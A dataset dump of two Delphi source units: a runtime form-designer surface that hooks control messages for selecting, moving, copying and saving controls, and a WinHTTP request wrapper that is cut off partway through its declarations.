text stringlengths 14 6.51M |
|---|
unit DesignSurface;
interface
uses
Windows, Messages, SysUtils, Classes, Controls, Graphics, Forms, ExtCtrls,
Contnrs;
type
TDesignSurface = class;
//
TDesignMessage = function(inSender: TControl; var inMsg: TMessage;
const inPt: TPoint): Boolean of object;
//
TDesignCustomMessenger = class
private
FContainer: TWinControl;
FOnDesignMessage: TDesignMessage;
protected
procedure SetContainer(inValue: TWinControl); virtual;
public
constructor Create; virtual;
destructor Destroy; override;
function IsDesignMessage(inSender: TControl;
var inMessage: TMessage): Boolean; virtual;
procedure Clear; virtual;
procedure DesignChildren(inContainer: TWinControl);
procedure DesignComponent(inComponent: TComponent); virtual;
property Container: TWinControl read FContainer write SetContainer;
property OnDesignMessage: TDesignMessage read FOnDesignMessage
write FOnDesignMessage;
end;
//
TDesignCustomMessengerClass = class of TDesignCustomMessenger;
//
TDesignMessageHook = class
private
FClient: TWinControl;
FOldProc: TWndMethod;
FUser: TDesignCustomMessenger;
protected
procedure HookProc(var inMessage: TMessage);
procedure Unhook;
public
constructor Create(inUser: TDesignCustomMessenger; inClient: TWinControl);
destructor Destroy; override;
property Client: TWinControl read FClient;
end;
//
TDesignCustomController = class
private
FSurface: TDesignSurface;
protected
function GetDragRect: TRect; virtual; abstract;
function GetShift: TShiftState;
function KeyDown(inKeycode: Cardinal): Boolean; virtual; abstract;
function KeyUp(inKeycode: Cardinal): Boolean; virtual; abstract;
function MouseDown(Button: TMouseButton;
X, Y: Integer): Boolean; virtual; abstract;
function MouseMove(X, Y: Integer): Boolean; virtual; abstract;
function MouseUp(Button: TMouseButton;
X, Y: Integer): Boolean; virtual; abstract;
public
constructor Create(inSurface: TDesignSurface); virtual;
property DragRect: TRect read GetDragRect;
property Shift: TShiftState read GetShift;
property Surface: TDesignSurface read FSurface;
end;
//
TDesignCustomControllerClass = class of TDesignCustomController;
//
TDesignHandleId = ( dhNone, dhLeftTop, dhMiddleTop, dhRightTop, dhLeftMiddle,
dhRightMiddle, dhLeftBottom, dhMiddleBottom, dhRightBottom );
//
TDesignCustomSelector = class(TComponent)
private
FSurface: TDesignSurface;
protected
function GetCount: Integer; virtual; abstract;
function GetSelection(inIndex: Integer): TControl; virtual; abstract;
procedure SetSelection(inIndex: Integer; inValue: TControl); virtual; abstract;
public
constructor Create(inSurface: TDesignSurface); reintroduce; virtual;
destructor Destroy; override;
function IsSelected(inValue: TControl): Boolean; virtual; abstract;
function GetClientControl(inControl: TControl): TControl; virtual; abstract;
function GetCursor(inX, inY: Integer): TCursor; virtual; abstract;
function GetHitHandle(inX, inY: Integer): TDesignHandleId; virtual; abstract;
procedure AddToSelection(inValue: TControl); virtual; abstract;
procedure ClearSelection; virtual; abstract;
procedure RemoveFromSelection(inValue: TControl); virtual; abstract;
procedure ShowHideSelection(inShow: Boolean); virtual; abstract;
procedure ToggleSelection(inValue: TControl);
procedure Update; virtual; abstract;
property Count: Integer read GetCount;
property Selection[inIndex: Integer]: TControl read GetSelection
write SetSelection;
property Surface: TDesignSurface read FSurface;
end;
//
TDesignCustomSelectorClass = class of TDesignCustomSelector;
//
TDesignObjectArray = array of TObject;
TDesignGetAddClassEvent = procedure(Sender: TObject;
var ioClass: string) of object;
TDesignOnControlAddedEvent = procedure(Sender: TObject;
inControl: TControl) of object;
{
TDesignOwnerDrawGridEvent = procedure(inSender: TObject; inCanvas: TCanvas;
inRect: TRect) of object;
}
//
TDesignSurface = class(TComponent)
private
FActive: Boolean;
FAddClass: string;
FContainer: TWinControl;
FContainerHook: TDesignMessageHook;
FController: TDesignCustomController;
FControllerClass: TDesignCustomControllerClass;
//FDrawGrid: Boolean;
FMessenger: TDesignCustomMessenger;
FMessengerClass: TDesignCustomMessengerClass;
FOnControlAdded: TDesignOnControlAddedEvent;
FOnChange: TNotifyEvent;
FOnGetAddClass: TDesignGetAddClassEvent;
//FOnOwnerDrawGrid: TDesignOwnerDrawGridEvent;
FOnSelectionChange: TNotifyEvent;
FSelector: TDesignCustomSelector;
FSelectorClass: TDesignCustomSelectorClass;
FUpdateOwner: TComponent;
protected
function GetAddBounds: TRect;
function GetCount: Integer;
function GetSelected: TDesignObjectArray;
function GetSelectedContainer: TWinControl;
function GetSelection(inIndex: Integer): TControl;
procedure BeginUpdate;
procedure EndUpdate;
procedure NeedContainer;
procedure NeedController;
procedure NeedMessenger;
procedure NeedSelector;
//procedure PaintContainerBkgnd(inDC: HDC);
procedure ReaderError(Reader: TReader; const Message: string;
var Handled: Boolean);
procedure SetActive(inValue: Boolean);
procedure SetContainer(inValue: TWinControl);
//procedure SetDrawGrid(const Value: Boolean);
procedure SetSelection(inIndex: Integer; inValue: TControl);
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
function Clear: TDesignSurface;
function ContainerToSelectedContainer(const inPt: TPoint): TPoint;
function FindControl(inX, inY: Integer): TControl; virtual;
function GetCursor(inX, inY: Integer): TCursor; virtual;
function GetHitHandle(inX, inY: Integer): TDesignHandleId; virtual;
function IsDesignMessage(inSender: TControl; var inMsg: TMessage;
const inPt: TPoint): Boolean;
function LoadFromFile(const inFilename: string): TDesignSurface;
function LoadFromStream(inStream: TStream): TDesignSurface;
procedure AddComponent;
procedure Change;
procedure ClearSelection;
procedure CopyComponents;
procedure CutComponents;
procedure DeleteComponents;
procedure GetAddClass;
procedure GrowComponents(inGrowWidth, inGrowHeight: Integer);
procedure NudgeComponents(inNudgeLeft, inNudgeTop: Integer);
procedure PasteComponents;
procedure SaveToFile(const inFilename: string);
procedure SaveToStream(inStream: TStream);
procedure Select(inControl: TControl);
procedure SelectionChange;
procedure SelectParent;
procedure SetSelected(const inValue: array of TObject);
procedure UpdateDesigner; virtual;
property Active: Boolean read FActive write SetActive;
property AddClass: string read FAddClass write FAddClass;
property Controller: TDesignCustomController read FController;
property ControllerClass: TDesignCustomControllerClass read FControllerClass
write FControllerClass;
property Count: Integer read GetCount;
property Messenger: TDesignCustomMessenger read FMessenger;
property MessengerClass: TDesignCustomMessengerClass read FMessengerClass
write FMessengerClass;
property Selected: TDesignObjectArray read GetSelected;
property SelectedContainer: TWinControl read GetSelectedContainer;
property Selection[inIndex: Integer]: TControl read GetSelection
write SetSelection;
property Selector: TDesignCustomSelector read FSelector;
property SelectorClass: TDesignCustomSelectorClass read FSelectorClass
write FSelectorClass;
published
property Container: TWinControl read FContainer write SetContainer;
//property DrawGrid: Boolean read FDrawGrid write SetDrawGrid default true;
property OnControlAdded: TDesignOnControlAddedEvent
read FOnControlAdded write FOnControlAdded;
property OnChange: TNotifyEvent read FOnChange write FOnChange;
property OnGetAddClass: TDesignGetAddClassEvent read FOnGetAddClass
write FOnGetAddClass;
{
property OnOwnerDrawGrid: TDesignOwnerDrawGridEvent
read FOnOwnerDrawGrid write FOnOwnerDrawGrid;
}
property OnSelectionChange: TNotifyEvent read FOnSelectionChange
write FOnSelectionChange;
end;
//
TDesignPanel = class(TPanel)
private
FSurface: TDesignSurface;
FOnPaint: TNotifyEvent;
FDrawRules: Boolean;
function GetActive: Boolean;
function GetOnChange: TNotifyEvent;
function GetOnGetAddClass: TDesignGetAddClassEvent;
function GetOnSelectionChange: TNotifyEvent;
procedure SetActive(const Value: Boolean);
procedure SetOnChange(const Value: TNotifyEvent);
procedure SetOnGetAddClass(const Value: TDesignGetAddClassEvent);
procedure SetOnSelectionChange(const Value: TNotifyEvent);
public
constructor Create(inOwner: TComponent); override;
procedure Clear;
procedure LoadFromFile(const inFilename: string);
procedure LoadFromStream(inStream: TStream);
procedure Paint; override;
procedure SaveToFile(const inFilename: string);
procedure SaveToStream(inStream: TStream);
procedure SetDrawRules(const Value: Boolean);
property Active: Boolean read GetActive write SetActive;
property Canvas;
property Surface: TDesignSurface read FSurface;
published
property DrawRules: Boolean read FDrawRules write SetDrawRules default true;
property OnPaint: TNotifyEvent read FOnPaint write FOnPaint;
property OnChange: TNotifyEvent read GetOnChange write SetOnChange;
property OnGetAddClass: TDesignGetAddClassEvent read GetOnGetAddClass
write SetOnGetAddClass;
property OnSelectionChange: TNotifyEvent read GetOnSelectionChange
write SetOnSelectionChange;
end;
//
TDesignScrollBox = class(TScrollBox)
protected
procedure AutoScrollInView(AControl: TControl); override;
end;
implementation
uses
Clipbrd, DesignUtils, DesignClip, DesignImp;
{ TDesignCustomMessenger }
constructor TDesignCustomMessenger.Create;
begin
//
end;
destructor TDesignCustomMessenger.Destroy;
begin
//
end;
procedure TDesignCustomMessenger.Clear;
begin
//
end;
procedure TDesignCustomMessenger.DesignComponent(inComponent: TComponent);
begin
//
end;
procedure TDesignCustomMessenger.DesignChildren(inContainer: TWinControl);
var
i: Integer;
begin
for i := 0 to Pred(inContainer.ControlCount) do
DesignComponent(inContainer.Controls[i]);
end;
procedure TDesignCustomMessenger.SetContainer(inValue: TWinControl);
begin
FContainer := inValue;
end;
function TDesignCustomMessenger.IsDesignMessage(inSender: TControl;
var inMessage: TMessage): Boolean;
function MousePoint: TPoint;
begin
with TWMMouse(inMessage) do
MousePoint := Point(XPos, YPos);
Result := DesignClientToParent(Result, inSender, Container);
end;
begin
if not Assigned(OnDesignMessage) then
Result := false
else
case inMessage.Msg of
WM_MOUSEFIRST..WM_MOUSELAST:
Result := OnDesignMessage(inSender, inMessage, MousePoint);
WM_KEYDOWN, WM_KEYUP, WM_PAINT, WM_ERASEBKGND:
Result := OnDesignMessage(inSender, inMessage, Point(0, 0));
CN_KEYDOWN, CN_KEYUP:
Result := true;
else Result := false;
end;
//inMessage.Result := Ord(Result);
end;
{ TDesignMessageHook }
constructor TDesignMessageHook.Create(inUser: TDesignCustomMessenger;
inClient: TWinControl);
begin
FUser := inUser;
FClient := inClient;
FOldProc := FClient.WindowProc;
FClient.WindowProc := HookProc;
end;
destructor TDesignMessageHook.Destroy;
begin
Unhook;
inherited;
end;
procedure TDesignMessageHook.Unhook;
begin
FClient.WindowProc := FOldProc;
end;
procedure TDesignMessageHook.HookProc(var inMessage: TMessage);
begin
if not FUser.IsDesignMessage(FClient, inMessage) then
FOldProc(inMessage);
end;
{ TDesignCustomController }
constructor TDesignCustomController.Create(inSurface: TDesignSurface);
begin
FSurface := inSurface;
end;
function TDesignCustomController.GetShift: TShiftState;
begin
Result := KeyboardStateToShiftState;
end;
{ TDesignCustomSelector }
constructor TDesignCustomSelector.Create(inSurface: TDesignSurface);
begin
inherited Create(nil);
FSurface := inSurface;
end;
destructor TDesignCustomSelector.Destroy;
begin
inherited;
end;
procedure TDesignCustomSelector.ToggleSelection(inValue: TControl);
begin
if IsSelected(inValue) then
RemoveFromSelection(inValue)
else
AddToSelection(inValue);
end;
{ TDesignSurface }
constructor TDesignSurface.Create(AOwner: TComponent);
begin
inherited;
FMessengerClass := TDesignDesignerMessenger;
FControllerClass := TDesignController;
FSelectorClass := TDesignSelector;
//FDrawGrid := true;
end;
destructor TDesignSurface.Destroy;
begin
FContainerHook.Free;
Messenger.Free;
Controller.Free;
Selector.Free;
inherited;
end;
procedure TDesignSurface.Change;
begin
if Assigned(OnChange) then
OnChange(Self);
end;
procedure TDesignSurface.SetContainer(inValue: TWinControl);
begin
FContainer := inValue;
end;
procedure TDesignSurface.NeedContainer;
begin
if (Container = nil) and (Owner is TWinControl) then
Container := TWinControl(Owner);
if Container = nil then
raise Exception.Create(ClassName + ': Container is nil');
end;
procedure TDesignSurface.NeedController;
begin
if (Controller = nil) and (ControllerClass <> nil) then
FController := ControllerClass.Create(Self);
if Controller = nil then
raise Exception.Create(ClassName + ': Controller is nil');
end;
procedure TDesignSurface.NeedMessenger;
begin
if (Messenger = nil) and (MessengerClass <> nil) then
begin
FMessenger := MessengerClass.Create;
Messenger.OnDesignMessage := IsDesignMessage;
end;
if Messenger = nil then
raise Exception.Create(ClassName + ': Messenger is nil');
end;
procedure TDesignSurface.NeedSelector;
begin
if (Selector = nil) and (SelectorClass <> nil) then
FSelector := SelectorClass.Create(Self);
if Selector = nil then
raise Exception.Create(ClassName + ': Selector is nil');
end;
procedure TDesignSurface.SetActive(inValue: Boolean);
procedure Activate;
begin
NeedContainer;
NeedController;
NeedSelector;
NeedMessenger;
Messenger.Container := Container;
FContainerHook := TDesignMessageHook.Create(Messenger, Container);
end;
procedure Deactivate;
begin
FreeAndNil(FContainerHook);
Selector.ClearSelection;
FreeAndNil(FMessenger);
end;
begin
if FActive <> inValue then
begin
if inValue then
Activate
else
Deactivate;
FActive := inValue;
SelectionChange;
end;
end;
procedure TDesignSurface.UpdateDesigner;
begin
Selector.Update;
end;
function TDesignSurface.GetCount: Integer;
begin
Result := Selector.Count;
end;
function TDesignSurface.GetSelection(inIndex: Integer): TControl;
begin
Result := Selector.Selection[inIndex];
end;
procedure TDesignSurface.SetSelection(inIndex: Integer; inValue: TControl);
begin
Selector.Selection[inIndex] := inValue;
end;
procedure TDesignSurface.ClearSelection;
begin
Selector.ClearSelection;
end;
procedure TDesignSurface.SelectionChange;
begin
if not (csDestroying in ComponentState) and Assigned(FOnSelectionChange) then
FOnSelectionChange(Self);
end;
function TDesignSurface.GetSelected: TDesignObjectArray;
var
i: Integer;
begin
SetLength(Result, Count);
for i := 0 to Pred(Count) do
Result[i] := Selector.Selection[i];
end;
procedure TDesignSurface.SetSelected(const inValue: array of TObject);
var
i: Integer;
begin
ClearSelection;
for i := 0 to Pred(Length(inValue)) do
if inValue[i] is TControl then
Selector.AddToSelection(TControl(inValue[i]));
end;
procedure TDesignSurface.Select(inControl: TControl);
begin
ClearSelection;
if (inControl <> nil) and (inControl <> Container) then
Selector.AddToSelection(inControl);
end;
function TDesignSurface.FindControl(inX, inY: Integer): TControl;
var
c, c0: TControl;
p: TPoint;
begin
p := Point(inX, inY);
c := Container.ControlAtPos(p, true, true);
while (c <> nil) and (c is TWinControl) do
begin
Dec(p.X, c.Left);
Dec(p.Y, c.Top);
c0 := TWinControl(c).ControlAtPos(p, true, true);
if (c0 = nil) or (c0.Owner <> c.Owner) then
break;
c := c0;
end;
if c = nil then
c := Container;
Result := Selector.GetClientControl(c);
end;
function TDesignSurface.GetSelectedContainer: TWinControl;
begin
if (Count <> 1) then
Result := Container
else if (Selection[0] is TWinControl) and
(csAcceptsControls in Selection[0].ControlStyle) then
Result := TWinControl(Selection[0])
else
Result := Selection[0].Parent;
end;
function TDesignSurface.ContainerToSelectedContainer(
const inPt: TPoint): TPoint;
var
c: TControl;
begin
Result := inPt;
c := SelectedContainer;
while (c <> Container) and (c <> nil) do
begin
Dec(Result.X, c.Left);
Dec(Result.Y, c.Top);
c := c.Parent;
end;
end;
function TDesignSurface.GetAddBounds: TRect;
begin
with Result, Controller do
begin
TopLeft := ContainerToSelectedContainer(DragRect.TopLeft);
BottomRight := ContainerToSelectedContainer(DragRect.BottomRight);
end;
end;
procedure TDesignSurface.GetAddClass;
begin
if Assigned(OnGetAddClass) then
OnGetAddClass(Self, FAddClass);
end;
procedure TDesignSurface.AddComponent;
var
cc: TComponentClass;
c: TComponent;
co: TControl;
function GetBounds: TRect;
begin
Result := GetAddBounds;
if DesignRectWidth(Result) = 0 then
Result.Right := Result.Left + co.Width;
if DesignRectHeight(Result) = 0 then
Result.Bottom := Result.Top + co.Height;
end;
begin
cc := TComponentClass(GetClass(AddClass));
if (cc <> nil) and (SelectedContainer <> nil) then
begin
c := cc.Create(Container);
c.Name := DesignUniqueName(Container, AddClass);
if (c is TControl) then
begin
co := TControl(c);
co.Parent := SelectedContainer;
co.BoundsRect := GetBounds;
if Assigned(OnControlAdded) then
OnControlAdded(Self, co);
Select(co);
end;
Messenger.DesignComponent(c);
Change;
SelectionChange;
AddClass := '';
end;
end;
procedure TDesignSurface.NudgeComponents(inNudgeLeft, inNudgeTop: Integer);
var
i: Integer;
begin
for i := 0 to Pred(Count) do
with Selection[i] do
begin
Left := Left + inNudgeLeft;
Top := Top + inNudgeTop;
end;
Change;
SelectionChange;
end;
procedure TDesignSurface.GrowComponents(inGrowWidth, inGrowHeight: Integer);
var
i: Integer;
begin
for i := 0 to Pred(Count) do
with Selection[i] do
begin
Width := DesignMax(1, Width + inGrowWidth);
Height := DesignMax(1, Height + inGrowHeight);
end;
Change;
SelectionChange;
end;
procedure TDesignSurface.DeleteComponents;
var
i: Integer;
begin
if Count > 0 then
begin
for i := 0 to Pred(Count) do
Selection[i].Free;
ClearSelection;
Change;
SelectionChange;
end;
end;
procedure TDesignSurface.CopyComponents;
var
i: Integer;
begin
if Count > 0 then
with TDesignComponentClipboardWriter.Create do
try
for i := 0 to Pred(Count) do
SetComponent(Selection[i]);
finally
Free;
end;
end;
procedure TDesignSurface.CutComponents;
begin
CopyComponents;
DeleteComponents;
end;
procedure TDesignSurface.PasteComponents;
var
co: TControl;
c: TComponent;
p: TWinControl;
procedure KeepInParent;
begin
with p do
begin
if co.Left > ClientWidth then
co.Left := ClientWidth - co.Width;
if co.Top > ClientHeight then
co.Top := ClientHeight - co.Height;
end;
end;
procedure PasteComponent;
begin
c.Name := DesignUniqueName(Owner, c.ClassName);
Container.InsertComponent(c);
if c is TControl then
begin
co := TControl(c);
KeepInParent;
co.Parent := p;
Selector.AddToSelection(co);
end;
Messenger.DesignComponent(c);
end;
begin
with TDesignComponentClipboardReader.Create do
try
c := GetComponent;
if (c <> nil) then
begin
p := SelectedContainer;
ClearSelection;
repeat
PasteComponent;
c := GetComponent;
until (c = nil);
Change;
SelectionChange;
end;
finally
Free;
end;
end;
procedure TDesignSurface.SelectParent;
begin
if (Count > 0) then
begin
Select(Selection[0].Parent);
SelectionChange;
end;
end;
{
procedure TDesignSurface.PaintContainerBkgnd(inDC: HDC);
var
r: TRect;
canvas: TCanvas;
begin
if DrawGrid then
begin
canvas := TCanvas.Create;
try
SelectClipRgn(inDC, 0);
canvas.Handle := inDC;
canvas.Brush.Color := Container.Brush.Color;
r := canvas.ClipRect;
if Assigned(OnOwnerDrawGrid) then
OnOwnerDrawGrid(Self, canvas, Container.ClientRect)
else begin
canvas.FillRect(Container.ClientRect);
DesignPaintRules(canvas, Container.ClientRect);
end;
finally
canvas.Free;
end;
end;
end;
}
function TDesignSurface.IsDesignMessage(inSender: TControl;
var inMsg: TMessage; const inPt: TPoint): Boolean;
function VirtKey: Cardinal;
begin
Result := inMsg.WParam;
end;
{
function HandlePaint: Boolean;
begin
Result := false;
end;
function HandleEraseBkgnd: Boolean;
begin
if (inSender <> Container) then
Result := false
else begin
PaintContainerBkgnd(TWMPaint(inMsg).DC);
inMsg.Result := 1;
Result := true;
end;
end;
}
begin
if not Active then
Result := false
else
case inMsg.Msg of
{
WM_ERASEBKGND: Result := HandleEraseBkgnd;
WM_PAINT: Result := HandlePaint;
}
WM_LBUTTONDOWN: Result := Controller.MouseDown(mbLeft, inPt.X, inPt.Y);
WM_LBUTTONUP: Result := Controller.MouseUp(mbLeft, inPt.X, inPt.Y);
WM_MOUSEMOVE: Result := Controller.MouseMove(inPt.X, inPt.Y);
WM_KEYDOWN, CN_KEYDOWN: Result := Controller.KeyDown(VirtKey);
WM_KEYUP, CN_KEYUP: Result := Controller.KeyUp(VirtKey);
else Result := false;
end;
end;
function TDesignSurface.GetCursor(inX, inY: Integer): TCursor;
begin
// Using FindControl is inefficient.
// All we really want to know is if Selected[0] contains (inX, inY)
if (Count > 0) and (FindControl(inX, inY) = Selected[0]) then
Result := Selector.GetCursor(inX, inY)
else
Result := crDefault;
end;
function TDesignSurface.GetHitHandle(inX, inY: Integer): TDesignHandleId;
begin
Result := Selector.GetHitHandle(inX, inY);
end;
procedure TDesignSurface.BeginUpdate;
begin
NeedContainer;
Active := false;
FUpdateOwner := Owner;
Owner.RemoveComponent(Self);
end;
procedure TDesignSurface.EndUpdate;
begin
FUpdateOwner.InsertComponent(Self);
Active := true;
end;
procedure TDesignSurface.ReaderError(Reader: TReader; const Message: string;
var Handled: Boolean);
begin
Handled := true;
end;
function TDesignSurface.Clear: TDesignSurface;
begin
BeginUpdate;
Container.DestroyComponents;
EndUpdate;
Result := Self;
end;
procedure TDesignSurface.SaveToStream(inStream: TStream);
begin
BeginUpdate;
DesignSaveComponentToStream(Container, inStream);
EndUpdate;
end;
function TDesignSurface.LoadFromStream(inStream: TStream): TDesignSurface;
begin
BeginUpdate;
Container.DestroyComponents;
DesignLoadComponentFromStream(Container, inStream, ReaderError);
EndUpdate;
Result := Self;
end;
procedure TDesignSurface.SaveToFile(const inFilename: string);
begin
BeginUpdate;
DesignSaveComponentToFile(Container, inFilename);
EndUpdate;
end;
function TDesignSurface.LoadFromFile(
const inFilename: string): TDesignSurface;
begin
BeginUpdate;
Container.DestroyComponents;
DesignLoadComponentFromFile(Container, inFilename, ReaderError);
EndUpdate;
Result := Self;
end;
{
procedure TDesignSurface.SetDrawGrid(const Value: Boolean);
begin
FDrawGrid := Value;
if Active then
Container.Invalidate;
end;
}
{ TDesignPanel }
constructor TDesignPanel.Create(inOwner: TComponent);
begin
inherited;
FDrawRules := true;
FSurface := TDesignSurface.Create(Self);
Surface.Name := 'Surface';
Surface.Container := Self;
end;
procedure TDesignPanel.SetDrawRules(const Value: Boolean);
begin
FDrawRules := Value;
Invalidate;
end;
procedure TDesignPanel.Paint;
begin
inherited;
if Surface.Active or (csDesigning in ComponentState) then
begin
if DrawRules then
DesignPaintRules(Canvas, ClientRect);
if Assigned(OnPaint) then
OnPaint(Self);
end;
end;
procedure TDesignPanel.Clear;
begin
// DesignSurface property value is lost on clear.
// Restore it with the value returned from Clear.
FSurface := Surface.Clear;
end;
procedure TDesignPanel.SaveToStream(inStream: TStream);
begin
Surface.SaveToStream(inStream);
end;
procedure TDesignPanel.LoadFromStream(inStream: TStream);
begin
// DesignSurface property value is lost on load.
// Restore it with the value returned from LoadFromStream.
FSurface := Surface.LoadFromStream(inStream);
end;
procedure TDesignPanel.SaveToFile(const inFilename: string);
begin
Surface.SaveToFile(inFilename);
end;
procedure TDesignPanel.LoadFromFile(const inFilename: string);
begin
// DesignSurface property value is lost on load.
// Restore it with the value returned from LoadFromFile.
FSurface := Surface.LoadFromFile(inFilename);
end;
function TDesignPanel.GetActive: Boolean;
begin
Result := Surface.Active;
end;
function TDesignPanel.GetOnChange: TNotifyEvent;
begin
Result := Surface.OnChange;
end;
function TDesignPanel.GetOnGetAddClass: TDesignGetAddClassEvent;
begin
Result := Surface.OnGetAddClass;
end;
function TDesignPanel.GetOnSelectionChange: TNotifyEvent;
begin
Result := Surface.OnSelectionChange;
end;
procedure TDesignPanel.SetActive(const Value: Boolean);
begin
Surface.Active := Active;
end;
procedure TDesignPanel.SetOnChange(const Value: TNotifyEvent);
begin
Surface.OnChange := Value;
end;
procedure TDesignPanel.SetOnGetAddClass(const Value: TDesignGetAddClassEvent);
begin
Surface.OnGetAddClass := Value;
end;
procedure TDesignPanel.SetOnSelectionChange(const Value: TNotifyEvent);
begin
Surface.OnSelectionChange := Value;
end;
{ TDesignScrollBox }
procedure TDesignScrollBox.AutoScrollInView(AControl: TControl);
begin
//
end;
end.
|
unit SDUWinHttp;
interface
uses
Classes,
SDUWinHttp_API, Windows;
const
DEFAULT_HTTP_USERAGENT = 'SDeanComponents/1.0';
DEFAULT_HTTP_REQUESTVERSION = '1.1';
DEFAULT_HTTP_METHOD = 'GET';
type
SDUWinHTTPTimeouts = record
Name: Integer;
Connect: Integer;
Send: Integer;
Receive: Integer;
end;
TTimeoutGet = (tgOK, tgCancel, tgTimeout, tgFailure);
const
DEFAULT_HTTP_TIMEOUTS: SDUWinHTTPTimeouts = (
Name: NAME_RESOLUTION_TIMEOUT;
Connect: WINHTTP_DEFAULT_TIMEOUT_CONNECT;
Send: WINHTTP_DEFAULT_TIMEOUT_SEND;
Receive: WINHTTP_DEFAULT_TIMEOUT_RECEIVE
);
function SDUWinHTTPSupported(): Boolean;
function SDUWinHTTPRequest(
URL: WideString;
out ReturnedBody: String): Boolean; overload;
function SDUWinHTTPRequest_WithUserAgent(
URL: WideString;
UserAgent: WideString;
out ReturnedBody: String): Boolean;
function SDUWinHTTPRequest(
URL: WideString;
Method: WideString;
DataToSendPresent: Boolean;
DataToSend: Ansistring;
UserAgent: WideString;
RequestVersion: WideString;
AdditionalReqHeaders: TStrings; // May be set to nil
out ReturnedStatusCode: DWORD;
out ReturnedBody: String;
ReturnedHeaders: TStrings // May be set to nil
): Boolean; overload;
function SDUWinHTTPRequest(
ServerName: WideString;
ServerPort: Integer;
ServerPath: WideString;
Method: WideString;
DataToSendPresent: Boolean;
DataToSend: Ansistring;
UserAgent: WideString;
RequestVersion: WideString;
AdditionalReqHeaders: TStrings; // May be set to nil
out ReturnedStatusCode: DWORD;
out ReturnedBody: String;
ReturnedHeaders: TStrings // May be set to nil
): Boolean; overload;
function SDUWinHTTPRequest(
URL: WideString;
Method: WideString;
DataToSendPresent: Boolean;
DataToSend: Ansistring;
UserAgent: WideString;
RequestVersion: WideString;
AdditionalReqHeaders: TStrings; // May be set to nil
Timeouts: SDUWinHTTPTimeouts;
out ReturnedStatusCode: DWORD;
out ReturnedBody: String;
ReturnedHeaders: TStrings // May be set to nil
): Boolean; overload;
function SDUWinHTTPRequest(
ServerName: WideString;
ServerPort: Integer;
ServerPath: WideString;
Method: WideString;
DataToSendPresent: Boolean;
DataToSend: Ansistring;
UserAgent: WideString;
RequestVersion: WideString;
AdditionalReqHeaders: TStrings; // May be set to nil
Timeouts: SDUWinHTTPTimeouts;
out ReturnedStatusCode: DWORD;
out ReturnedBody: String;
ReturnedHeaders: TStrings // May be set to nil
): Boolean; overload;
function SDUGetURLProgress(
DialogTitle: String;
URL: WideString;
out ReturnedBody: String): TTimeoutGet;
function SDUGetURLProgress_WithUserAgent(
DialogTitle: String;
URL: WideString;
out ReturnedBody: String;
UserAgent: WideString): TTimeoutGet;
implementation
uses
Controls,
Forms, SDUGeneral,
SDUProgressDlg;
type
TThreadHTTPGet = class (tthread)
public
URL: WideString;
UserAgent: WideString;
ModalForm: TForm;
RetrievedOK: Boolean;
ReturnedBody: String;
procedure Execute(); override;
procedure snc();
end;
function SDUWinHTTPSupported(): Boolean;
begin
{$IFDEF WINHTTP_DLL_STATIC}
// Application would crash on startup if it wasn't supported...
Result := TRUE;
{$ELSE}
Result := False;
try
Result := WinHttpCheckPlatform();
except
// Just swallow exception - Result already set to FALSE
end;
{$ENDIF}
end;
function SDUWinHTTPRequest(
URL: WideString;
out ReturnedBody: String): Boolean;
begin
Result := SDUWinHTTPRequest_WithUserAgent(URL,
DEFAULT_HTTP_USERAGENT,
ReturnedBody
);
end;
function SDUWinHTTPRequest_WithUserAgent(
URL: WideString;
UserAgent: WideString;
out ReturnedBody: String): Boolean;
var
httpStatusCode: DWORD;
begin
Result := False;
if SDUWinHTTPRequest(URL, DEFAULT_HTTP_METHOD,
False, '', DEFAULT_HTTP_USERAGENT,
DEFAULT_HTTP_REQUESTVERSION, nil,
httpStatusCode, ReturnedBody,
nil) then begin
Result := (httpStatusCode = HTTP_STATUS_OK);
end;
end;
function SDUWinHTTPRequest(
URL: WideString;
Method: WideString;
DataToSendPresent: Boolean;
DataToSend: Ansistring;
UserAgent: WideString;
RequestVersion: WideString;
AdditionalReqHeaders: TStrings; // May be set to nil
out ReturnedStatusCode: DWORD;
out ReturnedBody: String;
ReturnedHeaders: TStrings // May be set to nil
): Boolean;
begin
Result := SDUWinHTTPRequest(URL,
Method, DataToSendPresent,
DataToSend, UserAgent,
RequestVersion, AdditionalReqHeaders,
DEFAULT_HTTP_TIMEOUTS,
ReturnedStatusCode, ReturnedBody,
ReturnedHeaders);
end;
function SDUWinHTTPRequest(
URL: WideString;
Method: WideString;
DataToSendPresent: Boolean;
DataToSend: Ansistring;
UserAgent: WideString;
RequestVersion: WideString;
AdditionalReqHeaders: TStrings; // May be set to nil
Timeouts: SDUWinHTTPTimeouts;
out ReturnedStatusCode: DWORD;
out ReturnedBody: String;
ReturnedHeaders: TStrings // May be set to nil
): Boolean;
var
splitURL: URL_COMPONENTS;
serverName: WideString;
serverPort: Integer;
serverPath: WideString;
begin
Result := False;
ZeroMemory(@splitURL, sizeof(splitURL));
splitURL.dwStructSize := sizeof(splitURL);
splitURL.dwSchemeLength := $FFFFFFFF;
splitURL.dwHostNameLength := $FFFFFFFF;
splitURL.dwUrlPathLength := $FFFFFFFF;
splitURL.dwExtraInfoLength := $FFFFFFFF;
if WinHttpCrackUrl(PWideString(URL), length(URL),
0, @splitURL) then begin
serverName := Copy(splitURL.lpszHostName, 1, splitURL.dwHostNameLength);
serverPort := splitURL.nPort;
serverPath := Copy(splitURL.lpszUrlPath, 1, splitURL.dwUrlPathLength);
Result := SDUWinHTTPRequest(serverName,
serverPort, serverPath,
Method, DataToSendPresent,
DataToSend, UserAgent,
RequestVersion, AdditionalReqHeaders,
Timeouts, ReturnedStatusCode,
ReturnedBody, ReturnedHeaders
);
end;
end;
function SDUWinHTTPRequest(
ServerName: WideString;
ServerPort: Integer;
ServerPath: WideString;
Method: WideString;
DataToSendPresent: Boolean;
DataToSend: Ansistring;
UserAgent: WideString;
RequestVersion: WideString;
AdditionalReqHeaders: TStrings; // May be set to nil
out ReturnedStatusCode: DWORD;
out ReturnedBody: String;
ReturnedHeaders: TStrings // May be set to nil
): Boolean;
begin
Result := SDUWinHTTPRequest(ServerName,
ServerPort, ServerPath,
Method, DataToSendPresent,
DataToSend, UserAgent,
RequestVersion, AdditionalReqHeaders,
DEFAULT_HTTP_TIMEOUTS,
ReturnedStatusCode, ReturnedBody,
ReturnedHeaders);
end;
function SDUWinHTTPRequest(
ServerName: WideString;
ServerPort: Integer;
ServerPath: WideString;
Method: WideString;
DataToSendPresent: Boolean;
DataToSend: Ansistring;
UserAgent: WideString;
RequestVersion: WideString;
AdditionalReqHeaders: TStrings; // May be set to nil
Timeouts: SDUWinHTTPTimeouts;
